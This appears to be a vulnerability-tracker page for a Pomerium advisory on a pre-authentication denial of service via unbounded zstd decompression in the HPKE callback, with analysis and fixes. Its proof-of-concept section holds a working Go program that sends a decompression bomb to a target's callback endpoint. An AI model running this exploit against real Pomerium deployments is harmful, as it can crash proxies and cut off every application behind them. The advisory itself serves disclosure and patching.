Kestrel
대시보드로 돌아가기
CVE-2026-50285HIGH· 7.5GHSA대응게시일: 2026. 07. 15.수정일: 2026. 07. 15.

Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Summary

The HPKE V2 URL decode path in pkg/hpke/url.go decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's /.pomerium/callback endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector: Network — the /.pomerium/callback route on the proxy service is externally reachable.
  • Attack Complexity: Low — the receiver public key is publicly available at /.well-known/pomerium/hpke-public-key; no special conditions apply.
  • Privileges Required: None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).
  • User Interaction: None
  • Scope: Unchanged — the DoS is confined to the Pomerium proxy process itself.
  • Confidentiality Impact: None
  • Integrity Impact: None
  • Availability Impact: High — repeated attacks can exhaust process memory and crash the proxy.

Affected Component

  • pkg/hpke/url.godecodeQueryStringV2 (line 171)
  • internal/authenticateflow/stateless.goCallback (line 385–393)
  • proxy/handlers.goCallback (line 105–107), route registered at line 53–54

CWE

  • CWE-400: Uncontrolled Resource Consumption
  • CWE-1284: Improper Validation of Specified Quantity in Input

Description

Unbounded zstd Decompression in decodeQueryStringV2

pkg/hpke/url.go defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (url.go:166–176):

text
1var zstdDecoder, _ = zstd.NewReader(nil,
2 zstd.WithDecoderLowmem(true),
3)
4
5func decodeQueryStringV2(raw []byte) (url.Values, error) {
6 bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit
7 if err != nil {
8 return nil, err
9 }
10 return url.ParseQuery(string(bs))
11}

WithDecoderLowmem(true) reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.

By contrast, the codebase applies LimitReader when decompressing in internal/zero/api/download.go:75:

text
1r = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB cap

The protection is available but not applied to decodeQueryStringV2, confirming this is an inconsistent defense.

HPKE Does Not Block the Attack — Sender Validation Is Too Late

DecryptURLValues for the V2 format (url.go:107–126):

text
1case IsEncryptedURLV2(encrypted):
2 senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled
3 // ...
4 sealed, err := decode(encrypted.Get(paramQueryV2))
5 // ...
6 message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt — succeeds
7 // ...
8 decrypted, err = decodeQueryStringV2(message) // zstd decompress — UNBOUNDED

Open uses SetupAuth (HPKE authenticated mode). It only verifies that sealed was created with a key pair whose public half is senderPublicKey. Because the attacker supplies both k (sender public key) and q (sealed payload), they choose a consistent key pair themselves. The Open call succeeds with their own freshly-generated keys.

Sender identity is validated after DecryptURLValues returns (stateless.go:391–397):

text
1senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)
2// ... zstd already completed ...
3err = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attacker

The decompression memory spike occurs unconditionally before rejection.

Pre-Auth Execution Chain on the Proxy Callback

The proxy registers the callback route without any session or signature middleware (proxy/handlers.go:53–54):

text
1c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()
2c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)

For Stateless-flow deployments, p.Callbackauthenticateflow.Stateless.Callbackhpke.DecryptURLValues (unbounded decompress) → validateSenderPublicKey (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.

Pomerium's HPKE receiver public key is served publicly and without authentication (internal/controlplane/http.go:82):

text
1root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(
2 traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))

The full attack requires no credentials of any kind.

Self-hosted (Stateful) deployments are NOT affected. The stateful Callback calls s.VerifySignature(r) as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.

Proof of Concept

bash
1# Step 1: Retrieve the receiver public key
2curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head
3
4# Step 2: Build and send the decompression bomb (requires Go)
text
1package main
2
3import (
4 "encoding/base64"
5 "fmt"
6 "net/http"
7 "net/url"
8 "strings"
9
10 "github.com/klauspost/compress/zstd"
11 "github.com/pomerium/pomerium/pkg/hpke"
12)
13
14func main() {
15 // Fetch receiver public key from the target
16 resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
17 pubBytes := make([]byte, 32)
18 resp.Body.Read(pubBytes)
19 resp.Body.Close()
20
21 receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)
22
23 // Attacker generates their own sender key pair
24 attackerPriv, _ := hpke.GeneratePrivateKey()
25
26 // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
27 plain := "x=" + strings.Repeat("A", 128*1024*1024)
28 enc, _ := zstd.NewWriter(nil)
29 compressed := enc.EncodeAll([]byte(plain), nil)
30
31 // Seal the bomb with attacker's private key → server's public key
32 sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)
33
34 form := url.Values{
35 "k": {attackerPriv.PublicKey().String()},
36 "q": {base64.RawURLEncoding.EncodeToString(sealed)},
37 }
38
39 // Deliver to the pre-auth callback endpoint
40 target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
41 fmt.Printf("Sending bomb to: %s\n", target)
42 http.Get(target)
43 fmt.Println("Done — server allocated ~256 MB per request")
44}

Repeated calls amplify the effect proportionally. The server-side rejection from validateSenderPublicKey does not prevent the allocation.

Impact

  • Pre-auth denial of service against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / authenticate.pomerium.app).
  • An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload.
  • Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.
  • No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port.

Recommended Remediation

Option 1: Cap decompressed output size in decodeQueryStringV2 (preferred)

Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:

text
1const maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string
2
3func decodeQueryStringV2(raw []byte) (url.Values, error) {
4 bs, err := zstdDecoder.DecodeAll(raw, nil)
5 if err != nil {
6 return nil, err
7 }
8 if len(bs) > maxDecompressedQuerySize {
9 return nil, fmt.Errorf("hpke: decompressed query string exceeds maximum size (%d bytes)", len(bs))
10 }
11 return url.ParseQuery(string(bs))
12}

This fixes the root cause at the lowest layer and protects all callers unconditionally.

Option 2: Validate sender public key before decompressing

Restructure DecryptURLValues so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into DecryptURLValues or splitting the decrypt and decompress steps:

text
1// In Stateless.Callback, before calling DecryptURLValues:
2senderPublicKey, _ := PublicKeyFromString(r.Form.Get("k"))
3if err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {
4 return err // reject before decompression
5}
6// then proceed with decryption and decompression

This eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in decodeQueryStringV2, leaving other current or future callers at risk.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.